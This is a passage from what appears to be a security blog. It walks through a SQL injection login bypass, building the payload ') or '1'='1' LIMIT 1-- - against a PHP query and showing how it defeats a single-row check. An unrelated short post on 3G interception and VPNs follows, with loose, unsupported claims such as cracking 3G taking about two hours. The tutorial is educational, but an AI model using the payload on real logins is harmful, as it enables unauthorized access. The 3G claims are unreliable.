For that, the ') could be supplied so it would look like pwd = MD5('')') in this case the last ') is of no Use and it would give SQL Syntax Error as the Query won't identify two ')')  So our next Plan is to comment the last ') out of the Query, for that i had used the Typical Two Hyphens -- - . Now the Magic here is if you supply only -- than the Query at end won't get commented out because it would result into --') Giving you a Syntax Error ! So for that reason, i supplied Intentional space after -- and added another hyphen for demonstration. Because in Many Blackbox SQL Injection cases, you couldn't predict and Exact Syntax error is the only hope, so in this -- - comment the last Hyphen has really no significance but the SPACE between them holds the key to comment ') out from the back .

Now, The query would work as usual and Due to lack of Input Sanitisation we can Always TRUE the query by or '1'='1' . But, that alone won't solve issue as the or '1'='1' would select Every ROW from the database and the code snippet given below does a Additional Check here

            if($exe){
            $num = mysqli_num_rows($exe);
            if($num == 1){
                  //You are in
                }

Aha, Now mysqli_num_rows > 1 Which would not let you go to the if part and You would not bypass. So in the Initial Payload, that is the sole reason we are Adding LIMIT 1 to avoiding our rows > 1 .The LIMIT 1 would select first row of their Back-End Database and VOILA you are through.

So Joining all these small pieces, we could construct our Final Payload as ') or '1'='1' LIMIT 1-- -  Hence Final Query would be

 $login = "SELECT fName,lName FROM great WHERE email= '$email' AND pwd = MD5('') or '1'='1' LIMIT 1-- -')";

That's it ..! :)


Cellular Mobile Network Vulnerabilities - Is VPN the solution?

Remember that a 3G data stream contains both voice and Internet data, and the VPN encrypts only the Internet data. Therefore, your phone conversations would remain unprotected unless you use a service like VOIP. VPNs generally have strong AES-128/256 or similar encryption that will take much more than two hours to breach, therefore greatly increasing your security.

If the encryption is cracked, eavesdropping is most likely possible (think of those hackers looking at open wifi connections to sniff for passwords) and probably is a MITM as well.

However, you should still realise that spending two hours to crack a 3G connection is still quite a long time. Unless there is a specific reason why a person would like access to your phone, it is very unlikely that they will spend the effort to break the signal.